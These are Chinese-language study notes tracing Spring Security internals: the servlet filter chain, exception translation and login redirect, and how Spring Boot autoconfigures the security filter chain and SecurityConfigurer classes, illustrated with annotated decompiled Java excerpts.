那么我们知道,实现了过滤器的类在请求过来的时候,会执行`doFilter`方法。
```java
// DelegatingFilterProxy.java
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException {
Filter delegateToUse = this.delegate;
// 这个时候已经不为空了。跳过
if (delegateToUse == null) {
synchronized(this.delegateMonitor) {
delegateToUse = this.delegate;
if (delegateToUse == null) {
WebApplicationContext wac = this.findWebApplicationContext();
if (wac == null) {
throw new IllegalStateException("No WebApplicationContext found: no ContextLoaderListener or DispatcherServlet registered?");
}
delegateToUse = this.initDelegate(wac);
}
this.delegate = delegateToUse;
}
}
// 核心代码
this.invokeDelegate(delegateToUse, request, response, filterChain);
}
protected void invokeDelegate(Filter delegate, ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException {
// 我们进入FilterChainProxy的这个方法再看看。
delegate.doFilter(request, response, filterChain);
}
```
所以现在的调用步骤到了这里。

``` java
// FilterChainProxy.java
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
boolean clearContext = request.getAttribute(FILTER_APPLIED) == null;
if (!clearContext) {
// 进入
this.doFilterInternal(request, response, chain);
} else {
try {
request.setAttribute(FILTER_APPLIED, Boolean.TRUE);
this.doFilterInternal(request, response, chain);
} catch (RequestRejectedException var9) {
this.requestRejectedHandler.handle((HttpServletRequest)request, (HttpServletResponse)response, var9);
} finally {
SecurityContextHolder.clearContext();
request.removeAttribute(FILTER_APPLIED);
}
}
}
private void doFilterInternal(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// 防火墙操作
FirewalledRequest firewallRequest = this.firewall.getFirewalledRequest((HttpServletRequest)request);
HttpServletResponse firewallResponse = this.firewall.getFirewalledResponse((HttpServletResponse)response);
/* 这里会从这里获得一个过滤器链,这个过滤器链会从请求的路径中匹配
需要注意的是,一个SpringSecurity可以存在多个过滤器链表,每个过滤器链表又可以包含
多个过滤器
*/
List<Filter> filters = this.getFilters((HttpServletRequest)firewallRequest);
// 确实有调用链,就执行。
if (filters != null && filters.size() != 0) {
if (logger.isDebugEnabled()) {
logger.debug(LogMessage.of(() -> {
return "Securing " + requestLine(firewallRequest);
}));
}
FilterChainProxy.VirtualFilterChain virtualFilterChain = new FilterChainProxy.VirtualFilterChain(firewallRequest, chain, filters);
virtualFilterChain.doFilter(firewallRequest, firewallResponse);
} else {
if (logger.isTraceEnabled()) {
logger.trace(LogMessage.of(() -> {
return "No security for " + requestLine(firewallRequest);
}));
}
//否则,执行下一个过滤器。
firewallRequest.reset();
chain.doFilter(firewallRequest, firewallResponse);
}
}
```

```java
public interface SecurityFilterChain {
boolean matches(HttpServletRequest var1);
// 所以说,每个SecurityFiterChain还可以持有多个Filter
List<Filter> getFilters();
}
```

```java
// FilterChainProxy.java
private List<Filter> getFilters(HttpServletRequest request) {
int count = 0;
Iterator var3 = this.filterChains.iterator();
SecurityFilterChain chain;
do {
if (!var3.hasNext()) {
return null;
}
chain = (SecurityFilterChain)var3.next();
if (logger.isTraceEnabled()) {
++count;
logger.trace(LogMessage.format("Trying to match request against %s (%d/%d)", chain, count, this.filterChains.size()));
}
//通过 url地路径,来匹配到一个List<Filter>的列表。
} while(!chain.matches(request));
return chain.getFilters();
}
```

```
https://www.processon.com/view/link/5f7b197ee0b34d0711f3e955#map
这里查看,各个filter的使用。
```
```java
// FilterChainProxy.java
private void doFilterInternal(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
FirewalledRequest firewallRequest = this.firewall.getFirewalledRequest((HttpServletRequest)request);
HttpServletResponse firewallResponse = this.firewall.getFirewalledResponse((HttpServletResponse)response);
List<Filter> filters = this.getFilters((HttpServletRequest)firewallRequest);
if (filters != null && filters.size() != 0) {
if (logger.isDebugEnabled()) {
logger.debug(LogMessage.of(() -> {
return "Securing " + requestLine(firewallRequest);
}));
}
FilterChainProxy.VirtualFilterChain virtualFilterChain = new FilterChainProxy.VirtualFilterChain(firewallRequest, chain, filters);
// 进入这里
virtualFilterChain.doFilter(firewallRequest, firewallResponse);
} else {
if (logger.isTraceEnabled()) {
logger.trace(LogMessage.of(() -> {
return "No security for " + requestLine(firewallRequest);
}));
}
firewallRequest.reset();
chain.doFilter(firewallRequest, firewallResponse);
}
}
// 内部类 VirtualFilterChain
public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
// 看看是否已经迭代到了底。
if (this.currentPosition == this.size) {
if (FilterChainProxy.logger.isDebugEnabled()) {
FilterChainProxy.logger.debug(LogMessage.of(() -> {
return "Secured " + FilterChainProxy.requestLine(this.firewalledRequest);
}));
}
this.firewalledRequest.reset();
// 走原来的链流程。
this.originalChain.doFilter(request, response);
} else {
// 否则走链的过滤器逻辑
++this.currentPosition;
Filter nextFilter = (Filter)this.additionalFilters.get(this.currentPosition - 1);
if (FilterChainProxy.logger.isTraceEnabled()) {
FilterChainProxy.logger.trace(LogMessage.format("Invoking %s (%d/%d)", nextFilter.getClass().getSimpleName(), this.currentPosition, this.size));
}
// 责任链逻辑的体现,也就是我们接下来需要讨论的15个过滤器中的具体作用。
nextFilter.doFilter(request, response, this);
}
}
```
##### ExceptionTranslationFilter

作为了倒数第二的过滤器,我们来看看他的doFilter做了些什么。
```java
private void doFilter(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException {
try {
//进入了下一个过滤器进行执行 FilterSecurityInterceptor
chain.doFilter(request, response);
} catch (IOException var7) {
throw var7;
} catch (Exception var8) {
// FilterSecurityInterceptor 抛出了异常,这里处理。
Throwable[] causeChain = this.throwableAnalyzer.determineCauseChain(var8);
RuntimeException securityException = (AuthenticationException)this.throwableAnalyzer.getFirstThrowableOfType(AuthenticationException.class, causeChain);
if (securityException == null) {
securityException = (AccessDeniedException)this.throwableAnalyzer.getFirstThrowableOfType(AccessDeniedException.class, causeChain);
}
if (securityException == null) {
this.rethrow(var8);
}
if (response.isCommitted()) {
throw new ServletException("Unable to handle the Spring Security Exception because the response is already committed.", var8);
}
// 进去
this.handleSpringSecurityException(request, response, chain, (RuntimeException)securityException);
}
}
private void handleSpringSecurityException(HttpServletRequest request, HttpServletResponse response, FilterChain chain, RuntimeException exception) throws IOException, ServletException {
if (exception instanceof AuthenticationException) {
this.handleAuthenticationException(request, response, chain, (AuthenticationException)exception);
} else if (exception instanceof AccessDeniedException) {
this.handleAccessDeniedException(request, response, chain, (AccessDeniedException)exception);
}
}
private void handleAuthenticationException(HttpServletRequest request, HttpServletResponse response, FilterChain chain, AuthenticationException exception) throws ServletException, IOException {
this.logger.trace("Sending to authentication entry point since authentication failed", exception);
// 进入
this.sendStartAuthentication(request, response, chain, exception);
}
private void handleAccessDeniedException(HttpServletRequest request, HttpServletResponse response, FilterChain chain, AccessDeniedException exception) throws ServletException, IOException {
Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
boolean isAnonymous = this.authenticationTrustResolver.isAnonymous(authentication);
if (!isAnonymous && !this.authenticationTrustResolver.isRememberMe(authentication)) {
if (this.logger.isTraceEnabled()) {
this.logger.trace(LogMessage.format("Sending %s to access denied handler since access is denied", authentication), exception);
}
this.accessDeniedHandler.handle(request, response, exception);
} else {
if (this.logger.isTraceEnabled()) {
this.logger.trace(LogMessage.format("Sending %s to authentication entry point since access is denied", authentication), exception);
}
// 进入
this.sendStartAuthentication(request, response, chain, new InsufficientAuthenticationException(this.messages.getMessage("ExceptionTranslationFilter.insufficientAuthentication", "Full authentication is required to access this resource")));
}
}
protected void sendStartAuthentication(HttpServletRequest request, HttpServletResponse response, FilterChain chain, AuthenticationException reason) throws ServletException, IOException {
SecurityContextHolder.getContext().setAuthentication((Authentication)null);
this.requestCache.saveRequest(request, response);
// 进入
this.authenticationEntryPoint.commence(request, response, reason);
}
```

```java
// 这里基本都是跳转的到登陆页面的逻辑了。
public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
String redirectUrl;
if (!this.useForward) {
// http://localhost:8080/login
// 如果是重定向 302,那么就会被DefaultLoginPageGeneratingFilter过滤器拦截,因为他默认会拦截/login的请求,进行认证。
redirectUrl = this.buildRedirectUrlToLoginPage(request, response, authException);
this.redirectStrategy.sendRedirect(request, response, redirectUrl);
} else {
redirectUrl = null;
if (this.forceHttps && "http".equals(request.getScheme())) {
redirectUrl = this.buildHttpsRedirectUrlForRequest(request);
}
if (redirectUrl != null) {
this.redirectStrategy.sendRedirect(request, response, redirectUrl);
} else {
String loginForm = this.determineUrlToUseForThisRequest(request, response, authException);
logger.debug(LogMessage.format("Server side forward to: %s", loginForm));
RequestDispatcher dispatcher = request.getRequestDispatcher(loginForm);
dispatcher.forward(request, response);
}
}
}
```
##### FilterSecurityInterceptor
作为最后的过滤器,也就是做权限的认证,如果有问题,就会抛出异常,被上一个ExceptionTrasalatingFIlter捕获,并做相应的登录处理。
```java
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
this.invoke(new FilterInvocation(request, response, chain));
}
public void invoke(FilterInvocation filterInvocation) throws IOException, ServletException {
if (this.isApplied(filterInvocation) && this.observeOncePerRequest) {
filterInvocation.getChain().doFilter(filterInvocation.getRequest(), filterInvocation.getResponse());
} else {
if (filterInvocation.getRequest() != null && this.observeOncePerRequest) {
filterInvocation.getRequest().setAttribute("__spring_security_filterSecurityInterceptor_filterApplied", Boolean.TRUE);
}
InterceptorStatusToken token = super.beforeInvocation(filterInvocation);
try {
filterInvocation.getChain().doFilter(filterInvocation.getRequest(), filterInvocation.getResponse());
} finally {
super.finallyInvocation(token);
}
// 进入父类,AbstractSecurityInterceptor.java
super.afterInvocation(token, (Object)null);
}
}
// AbstractSecurityInterceptor.java
protected Object afterInvocation(InterceptorStatusToken token, Object returnedObject) {
if (token == null) {
return returnedObject;
} else {
this.finallyInvocation(token);
if (this.afterInvocationManager != null) {
try {
//进行认证
returnedObject = this.afterInvocationManager.decide(token.getSecurityContext().getAuthentication(), token.getSecureObject(), token.getAttributes(), returnedObject);
} catch (AccessDeniedException var4) {
// 并发布事件
this.publishEvent(new AuthorizationFailureEvent(token.getSecureObject(), token.getAttributes(), token.getSecurityContext().getAuthentication(), var4));
throw var4;
}
}
return returnedObject;
}
}
```
##### DefaultLoginPageGeneratingFilter
经过验证失败,要重新跳转到登陆页面的时候,会被这个拦截器拦截下来。
这是他的初始化的时候,我们很明显的可以看出来,他内置的路径。
```
private void init(UsernamePasswordAuthenticationFilter authFilter, AbstractAuthenticationProcessingFilter openIDFilter) {
this.loginPageUrl = "/login";
this.logoutSuccessUrl = "/login?logout";
this.failureUrl = "/login?error";
if (authFilter != null) {
this.initAuthFilter(authFilter);
}
if (openIDFilter != null) {
this.initOpenIdFilter(openIDFilter);
}
}
```
而对应的doFilter方法,则让我们看到了登陆页面到底是如何构成的。
```java
private void doFilter(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException {
boolean loginError = this.isErrorPage(request);
boolean logoutSuccess = this.isLogoutSuccess(request);
if (!this.isLoginUrlRequest(request) && !loginError && !logoutSuccess) {
chain.doFilter(request, response);
} else {
// 构建登陆界面的html页面,会通过response回写回去。
String loginPageHtml = this.generateLoginPageHtml(request, loginError, logoutSuccess);
response.setContentType("text/html;charset=UTF-8");
response.setContentLength(loginPageHtml.getBytes(StandardCharsets.UTF_8).length);
response.getWriter().write(loginPageHtml);
}
}
```
我们通过控制台,确实发现,请求了两次。第一次重定向,第二次是真正的html页面。

完整流程的概括。

#### 从SpringBoot去理解
前面弄明白了基于xml中的DelegatingFilterProxy来初始化spring-security,接下从springboot中来看看他是如何集成到springboot中去的。
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
```
首先,基于springboot自动状态要整合第三方框架需要在spring.factories,但是奇怪的是自动装配的配置并不在spring-security的`META-INF`包下,而是在spring的autoconfigure包下。

```properties
org.springframework.boot.autoconfigure.security.servlet.SecurityAutoConfiguration,\
org.springframework.boot.autoconfigure.security.servlet.SecurityFilterAutoConfiguration,\
org.springframework.boot.autoconfigure.security.servlet.UserDetailsServiceAutoConfiguration,\
```
这三个中和DelegatingFilterProxy有关系的是第三个 SecurityFilterAutoConfiguration 所以我们 就直接先来看这个,其他两个我们后面再分析
```java
/** *proxyBeanMethods = true 或不写,是Full模式 *proxyBeanMethods = false 是lite模式 * Full模式下通过方法调用指向的仍旧是原来的Bean *Spring 5.2.0+的版本,建议你的配置类均采用Lite模式去做,即显示设置proxyBeanMethods = false。Spring *Boot在2.2.0版本(依赖于Spring 5.2.0)起就把它的所有的自动配置类的此属性改为 了false,即*@Configuration(proxyBeanMethods = false),提高Spring启动速度 */@Configuration( proxyBeanMethods = false )
// 当前系统的类型为servlet类型
@ConditionalOnWebApplication( type = Type.SERVLET )
// 放开属性配置
@EnableConfigurationProperties({SecurityProperties.class}) /* 当前类加载的条件 */
@ConditionalOnClass({AbstractSecurityWebApplicationInitializer.class, SessionCreationPolicy.class})
/* 当前类的加载必须是在 SecurityAutoConfiguration 加载完成之后*/
@AutoConfigureAfter({SecurityAutoConfiguration.class})
public class SecurityFilterAutoConfiguration {
// 默认的过滤器名称 和之前的 web.xml 中个FilterName是一样的
private static final String DEFAULT_FILTER_NAME = "springSecurityFilterChain";
public SecurityFilterAutoConfiguration() {
}
@Bean @ConditionalOnBean(name = {"springSecurityFilterChain"} )
public DelegatingFilterProxyRegistrationBean securityFilterChainRegistration(SecurityProperties securityProperties) {
DelegatingFilterProxyRegistrationBean registration = new DelegatingFilterProxyRegistrationBean("springSecurityFilterChain", new ServletRegistrationBean[0]);
registration.setOrder(securityProperties.getFilter().getOrder());
registration.setDispatcherTypes(this.getDispatcherTypes(securityProperties));
return registration;
}
```
##### DelegatingFilterProxyRegistrationBean
`DelegatingFilterProxyRegistrationBean`其实是SpringBoot中为我们添加到**Filter到Spring容器中所扩展的一种方式**。
类图如下。

```java
@FunctionalInterface
public interface ServletContextInitializer {
void onStartup(ServletContext servletContext) throws ServletException;
}
//我们进入其子类RegistrationBean中,并查看他的onStartup方法。
public final void onStartup(ServletContext servletContext) throws ServletException {
String description = this.getDescription();
if (!this.isEnabled()) {
logger.info(StringUtils.capitalize(description) + " was not registered (disabled)");
} else {
// 进入
this.register(description, servletContext);
}
}
// DynamicRegistrationBean.java
protected final void register(String description, ServletContext servletContext) {
// 这里会添加对应的过滤器,也就是 DelegatingFilterProxy,我们进去
D registration = this.addRegistration(description, servletContext);
if (registration == null) {
logger.info(StringUtils.capitalize(description) + " was not registered (possibly already registered?)");
} else {
this.configure(registration);
}
}
// AbstractFilterRegistrationBean.java
protected Dynamic addRegistration(String description, ServletContext servletContext) {
// 进入
Filter filter = this.getFilter();
// 该过滤器会被添加到servletContext容器中,那么当有满足添加的请求到来的时候就会触发该过滤 器拦截
return servletContext.addFilter(this.getOrDeduceName(filter), filter);
}
//DelegatingFilterProxyRegistrationBean.java
public DelegatingFilterProxy getFilter() {
// 其实就是将 DelegatingFilterProxy 添加了Servlet的过滤器中
return new DelegatingFilterProxy(this.targetBeanName, this.getWebApplicationContext()) {
protected void initFilterBean() throws ServletException {
}
};
}
```
至此,我们知道了其实也就是将DelegatingFilterProxy塞进了Servlet的过滤器列表中,然后我们进入他的下一步配置,看他又做了什么。
```java
protected final void register(String description, ServletContext servletContext) {
// new 了一个DelegatingFilterProxy 进Servlet过滤器列表中
D registration = this.addRegistration(description, servletContext);
if (registration == null) {
logger.info(StringUtils.capitalize(description) + " was not registered (possibly already registered?)");
} else {
// 注意这个方法我们要进入AbstractFilterRegistrationBean中查看
this.configure(registration);
}
}
// AbstractFilterRegistrationBean
protected void configure(Dynamic registration) {
super.configure(registration);
// ....
servletNames.addAll(this.servletNames);
if (servletNames.isEmpty() && this.urlPatterns.isEmpty()) {
// 如果没有指定对应的servletNames和urlPartterns的话就使用默认的名称和拦截地址 /*
registration.addMappingForUrlPatterns(dispatcherTypes, this.matchAfter, DEFAULT_URL_MAPPINGS);
} else {
if (!servletNames.isEmpty()) {
registration.addMappingForServletNames(dispatcherTypes, this.matchAfter, StringUtils.toStringArray(servletNames));
}
if (!this.urlPatterns.isEmpty()) {
registration.addMappingForUrlPatterns(dispatcherTypes, this.matchAfter, StringUtils.toStringArray(this.urlPatterns));
}
}
}
// 默认的配置
public abstract class AbstractFilterRegistrationBean<T extends Filter> extends DynamicRegistrationBean<Dynamic> {
private static final String[] DEFAULT_URL_MAPPINGS = new String[]{"/*"};
// ....
}
```
至此我们看到了在SpringBoot中是通过DelegatingFilterProxyRegistrationBean 帮我们创建了一个
DelegatingFilterProxy过滤器并且指定了拦截的地址,默认是 /* ,之后的逻辑就和前面介绍的XML中的
就是一样的了,请求会进入FilterChainProxy中开始处理。
##### SpringSecurity 的初始化到底经历了什么
我们上面主要是DelegatingFilterProxy,这是xml的主要入口,以及DelegatingFilterProxyRegistratinBean,这是搜springboot的入口。
通过对 第一次请求的流程梳理 我们会有一些疑问就是 FilterChainProxy 是在哪创建的,默认的过滤
器链和过滤器是怎么来的,这节课我们就详细的来看看在SpringSecurity初始化的时候到底做了哪些事
情,
基于XML的初始化阶段其实就是各种解析器对标签的解析,过程比较繁琐这里我们就不去分析了,我
们直接在SpringBoot项目中来分析,在SpringBoot项目中分析SpringSecurity的初始化过程显然我们需
要从 spring.factories 中的SecurityAutoConfiguration开始

``` java
@Configuration(
proxyBeanMethods = false
)
@ConditionalOnClass({DefaultAuthenticationEventPublisher.class})
@EnableConfigurationProperties({SecurityProperties.class})
@Import({SpringBootWebSecurityConfiguration.class, WebSecurityEnablerConfiguration.class, SecurityDataConfiguration.class})
public class SecurityAutoConfiguration {
public SecurityAutoConfiguration() {
}
// 定义了一个默认的事件发布器,从类名上来看,应该是一个权限事件发布器
// 当容器里没有AuthenticationEventPublisher或者其子类的时候,不装载下面这个类
@Bean
@ConditionalOnMissingBean({AuthenticationEventPublisher.class})
public DefaultAuthenticationEventPublisher authenticationEventPublisher(ApplicationEventPublisher publisher) {
return new DefaultAuthenticationEventPublisher(publisher);
}
}
```
该类引入了 `SpringBootWebSecurityConfiguration` ,`WebSecurityEnablerConfiguration`,`SecurityDataConfiguration` 这三个类,那么我们要分析的话就应该接着来看这三个类
##### SpringBootWebSecurityConfiguration
```java
@Configuration(
proxyBeanMethods = false
)
@ConditionalOnDefaultWebSecurity
@ConditionalOnWebApplication(
type = Type.SERVLET
)
class SpringBootWebSecurityConfiguration {
SpringBootWebSecurityConfiguration() {
}
@Bean
@Order(2147483642)
static class DefaultCOnfigurerAdapter extends WebSecurityConfigurerAdapter{
DefaultConfigurerAdapter(){
}
}
}
```
这个配置的作用是在如果开发者没有自定义 WebSecurityConfigurerAdapter 的话,这里提供一个默认
的实现。 `@ConditionalOnMissingBean({WebSecurityConfigurerAdapter.class})` 如果有自定义的
WebSecurityConfigurerAdapter那么这个配置也就不会起作用了
##### WebSecurityEnablerConfiguration
这个配置是 Spring Security 的核心配置,我们需要重点来分析下。
```java
@Configuration(
proxyBeanMethods = false
)
@ConditionalOnMissingBean(
name = {"springSecurityFilterChain"}
)
@ConditionalOnClass({EnableWebSecurity.class})
@ConditionalOnWebApplication(
type = Type.SERVLET
)
@EnableWebSecurity
class WebSecurityEnablerConfiguration {
WebSecurityEnablerConfiguration() {
}
}
```
我们看到了熟悉`springSecurityFilterChain`,当容器中没有`springSecurityFilterChain`,这个会被装配、的最关键的就是@EnableWebSecurity注解了
```java
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.TYPE})
@Documented
@Import({WebSecurityConfiguration.class, SpringWebMvcImportSelector.class, OAuth2ImportSelector.class, HttpSecurityConfiguration.class})
@EnableGlobalAuthentication
@Configuration
public @interface EnableWebSecurity {
boolean debug() default false;
}
```
在这个接口中我们看到做的事情还是蛮多的,导入了三个类型和一个@EnableGlobalAuthentication
注解,我们需要重点来看下WebSecurityConfiguration配置类和@EnableGlobalAuthentication注解
##### WebSecurityConfiguration
```java
@Bean(name = {"springSecurityFilterChain"})
public Filter springSecurityFilterChain() throws Exception {
boolean hasConfigurers = this.webSecurityConfigurers != null && !this.webSecurityConfigurers.isEmpty();
boolean hasFilterChain = !this.securityFilterChains.isEmpty();
Assert.state(!hasConfigurers || !hasFilterChain, "Found WebSecurityConfigurerAdapter as well as SecurityFilterChain. Please select just one.");
if (!hasConfigurers && !hasFilterChain) {
WebSecurityConfigurerAdapter adapter = (WebSecurityConfigurerAdapter)this.objectObjectPostProcessor.postProcess(new WebSecurityConfigurerAdapter() {
});
this.webSecurity.apply(adapter);
}
//.....
// 这个地方获取的就是 FilterChainProxy,该对象会被保存到IOC容器中,且name为springSecurityFlterChain
// 这里的构建
return (Filter)this.webSecurity.build();
}
}
// 进入到WebSecurity的performBuild
protected Filter performBuild() throws Exception {
int chainSize = this.ignoredRequests.size() + this.securityFilterChainBuilders.size();
List<SecurityFilterChain> securityFilterChains = new ArrayList(chainSize);
Iterator var3 = this.ignoredRequests.iterator();
while(var3.hasNext()) {
RequestMatcher ignoredRequest = (RequestMatcher)var3.next();
securityFilterChains.add(new DefaultSecurityFilterChain(ignoredRequest, new Filter[0]));
}
FilterChainProxy filterChainProxy = new FilterChainProxy(securityFilterChains);
if (this.httpFirewall != null) {
filterChainProxy.setFirewall(this.httpFirewall);
}
if (this.requestRejectedHandler != null) {
filterChainProxy.setRequestRejectedHandler(this.requestRejectedHandler);
}
filterChainProxy.afterPropertiesSet();
Filter result = filterChainProxy;
if (this.debugEnabled) {
// ...
// 这里可以看出,确实返回的是FilterChainProxy,具体构造细节,我会在HttpSecurity中详细解说。
this.postBuildAction.run();
return (Filter)result;
}
```
##### SecurityDataConfiguration
和SpringData有关,现在用到的比较少我们就不去分析它了。
##### UserDetailServiceAutoConfiguration

其实带有UserService下方的子类,都是和数据打交道的,一般从UserService中获取权限的信息和角色的信息等,而UserService的具体实现和持久化技术息息相关,至于你希望用什么去实现,看具体需求。
```java
@Configuration(
proxyBeanMethods = false
)
@ConditionalOnClass({AuthenticationManager.class})
@ConditionalOnBean({ObjectPostProcessor.class})
@ConditionalOnMissingBean(
value = {AuthenticationManager.class, AuthenticationProvider.class, UserDetailsService.class},
type = {"org.springframework.security.oauth2.jwt.JwtDecoder", "org.springframework.security.oauth2.server.resource.introspection.OpaqueTokenIntrospector"}
)
public class UserDetailsServiceAutoConfiguration {
private static final String NOOP_PASSWORD_PREFIX = "{<PASSWORD>}";
private static final Pattern PASSWORD_ALGORITHM_PATTERN = Pattern.compile("^\\{.+}.*$");
private static final Log logger = LogFactory.getLog(UserDetailsServiceAutoConfiguration.class);
public UserDetailsServiceAutoConfiguration() {
}
@Bean
@ConditionalOnMissingBean(
type = {"org.springframework.security.oauth2.client.registration.ClientRegistrationRepository"}
)
@Lazy
public InMemoryUserDetailsManager inMemoryUserDetailsManager(SecurityProperties properties, ObjectProvider<PasswordEncoder> passwordEncoder) {
User user = properties.getUser();
List<String> roles = user.getRoles();
// 使用内存的方式,存储信息,UserDetail在springSecurity代表用户,后面是密码的生成方式
return new InMemoryUserDetailsManager(new UserDetails[]{org.springframework.security.core.userdetails.User.withUsername(user.getName()).password(this.getOrDeducePassword(user, (PasswordEncoder)passwordEncoder.getIfAvailable())).roles(StringUtils.toStringArray(roles)).build()});
}
private String getOrDeducePassword(User user, PasswordEncoder encoder) {
String password = user.getPassword();
if (user.isPasswordGenerated()) {
logger.info(String.format("%n%nUsing generated security password: %s%n", user.getPassword()));
}
return encoder == null && !PASSWORD_ALGORITHM_PATTERN.matcher(password).matches() ? "{noop}" + password : password;
}
}
// SecurityProperties.java
public static class User {
private String name = "user";
// uuid生成的密码
private String password = <PASSWORD>();
private List<String> roles = new ArrayList();
```
其实就是生成了一个默认的账号密码配置,你可以通过实现自己的UserDetialService来覆盖系统内部的实现。
##### 初始化地一些小总结
其实就是通过WebSecurityConfiguration和UserDetailServiceAutoConfiguration来初始化,这两个是比较关键的,前者构造了名字为FilterChainPorxy的过滤器链路,后者构建了一个内存中的初始账号信息供我们验证。
#### 深入理解SecurityConfigurer
在`springsecurity`中,有很多的尾缀带有`configurer`的对象,他也是在Security中一个很重要的组成部分,每一个SecurityConfigurer实现都会从中创建一个Filter对象,也就是我们熟悉的过滤器,并初始化到我们之前说得FilterChainProxy对象中的过滤器列表中。
```java
public interface SecurityConfigurer<O, B extends SecurityBuilder<O>> {
/**
初始化的方法
*/
void init(B builder) throws Exception;
/**
配置的方法
*/
void configure(B builder) throws Exception;
}
```
这里还有一个对象叫做,SecurityBuilder,这个其实就是我们熟悉的HttpSecurity,他的主要作用就是为了来构建过滤器链的,也是建造者模式的一种体现。
在init方法和configure方法中的形参都是SecurityBuilder类型,而SecurityBuilder是用来构建过滤器链的`DefaultSecurityFilterChainProxy`

我们可以发现,Configurer的实现其实有很多,我们不妨随便进一个Configurer中看看,子类的实现到底做了什么,以`CsrfConfigurer`为例子。这个过滤器是为了防止跨域攻击的为准备的类
CsrfConfigurer没有实现init方法,同时他的祖父类(父类的父类)`SecurityConfigurerAdapter`也是一个空实现。说明这个类的初始化的时候并没有做什么特别的事情。
但是在configure中做的事情就有了。
```java
public void configure(H http) {
// 这里就很明显了,直接New了一个过滤器,里面传入了跨域攻击的所需要的验证token生成类
CsrfFilter filter = new CsrfFilter(this.csrfTokenRepository);
// 请求的拦截匹配对象
RequestMatcher requireCsrfProtectionMatcher = this.getRequireCsrfProtectionMatcher();
// 存在,则进行拦截处理
if (requireCsrfProtectionMatcher != null) {
filter.setRequireCsrfProtectionMatcher(requireCsrfProtectionMatcher);
}
AccessDeniedHandler accessDeniedHandler = this.createAccessDeniedHandler(http);
if (accessDeniedHandler != null) {
filter.setAccessDeniedHandler(accessDeniedHandler);
}
// 获得登出的过滤器,builder中很有很多的Configurer配置信息,可以从这里面取出。
LogoutConfigurer<H> logoutConfigurer = (LogoutConfigurer)http.getConfigurer(LogoutConfigurer.class);
if (logoutConfigurer != null) {
logoutConfigurer.addLogoutHandler(new CsrfLogoutHandler(this.csrfTokenRepository));
}
SessionManagementConfigurer<H> sessionConfigurer = (SessionManagementConfigurer)http.getConfigurer(SessionManagementConfigurer.class);
if (sessionConfigurer != null) {
sessionConfigurer.addSessionAuthenticationStrategy(this.getSessionAuthenticationStrategy());
}
// 将过滤器放到 IOC容器中
filter = (CsrfFilter)this.postProcess(filter);
// 增加到过滤器链中。
http.addFilter(filter);
}
```
大致了解SecurityConfigurer做了什么,我们来看看几个比较关键的实现类。
> SecurityConfigurerAdapter
>
> GlobalAuthenticationConfigurerAdapter
>
> WebSecurityConfigurer

##### SecurityConfigurerAdapter
SecurityConfigurerAdapter 实现了 SecurityConfigurer 接口,我们所使用的大部分的 xxxConfigurer 也都是 SecurityConfigurerAdapter 的子类。 SecurityConfigurerAdapter 在 SecurityConfigurer 的基础上,还扩展出来了几个非常好用的方法
```java
public abstract class SecurityConfigurerAdapter<O, B extends SecurityBuilder<O>> implements SecurityConfigurer<O, B> {
private B securityBuilder;
// 一个用于将不受IOC容器管理的对象放入IOC容器的成员。
private SecurityConfigurerAdapter.CompositeObjectPostProcessor objectPostProcessor = new SecurityConfigurerAdapter.CompositeObjectPostProcessor();
public SecurityConfigurerAdapter() {
}
// 空实现
public void init(B builder) throws Exception {
}
// 空实现
public void configure(B builder) throws Exception {
}
// 链式变成,再次获的建造者对象,即 SecurityBuilder的实现
public B and() {
return this.getBuilder();
}
protected final B getBuilder() {
Assert.state(this.securityBuilder != null, "securityBuilder cannot be null");
return this.securityBuilder;
}
protected <T> T postProcess(T object) {
return this.objectPostProcessor.postProcess(object);
}
// 将多个后置处理器集中起来管理,每个后置处理器都可以将不被IOC容器管理的对象,再次管理起来。
public void addObjectPostProcessor(ObjectPostProcessor<?> objectPostProcessor) {
this.objectPostProcessor.addObjectPostProcessor(objectPostProcessor);
}
public void setBuilder(B builder) {
this.securityBuilder = builder;
}
// 一个聚合的对象后置处理器,如名字一样,他可以将个后置处理器放在一起调用。
private static final class CompositeObjectPostProcessor implements ObjectPostProcessor<Object> {
private List<ObjectPostProcessor<?>> postProcessors;
private CompositeObjectPostProcessor() {
this.postProcessors = new ArrayList();
}
// 将已经添加起来的后置处理器,分别调用。
public Object postProcess(Object object) {
Iterator var2 = this.postProcessors.iterator();
while(true) {
ObjectPostProcessor opp;
Class oppType;
do {
if (!var2.hasNext()) {
return object;
}
opp = (ObjectPostProcessor)var2.next();
Class<?> oppClass = opp.getClass();
oppType = GenericTypeResolver.resolveTypeArgument(oppClass, ObjectPostProcessor.class);
} while(oppType != null && !oppType.isAssignableFrom(object.getClass()));
object = opp.postProcess(object);
}
}
private boolean addObjectPostProcessor(ObjectPostProcessor<?> objectPostProcessor) {
boolean result = this.postProcessors.add(objectPostProcessor);
this.postProcessors.sort(AnnotationAwareOrderComparator.INSTANCE);
return result;
}
}
}
```
> CompositeObjectPostProcessor()
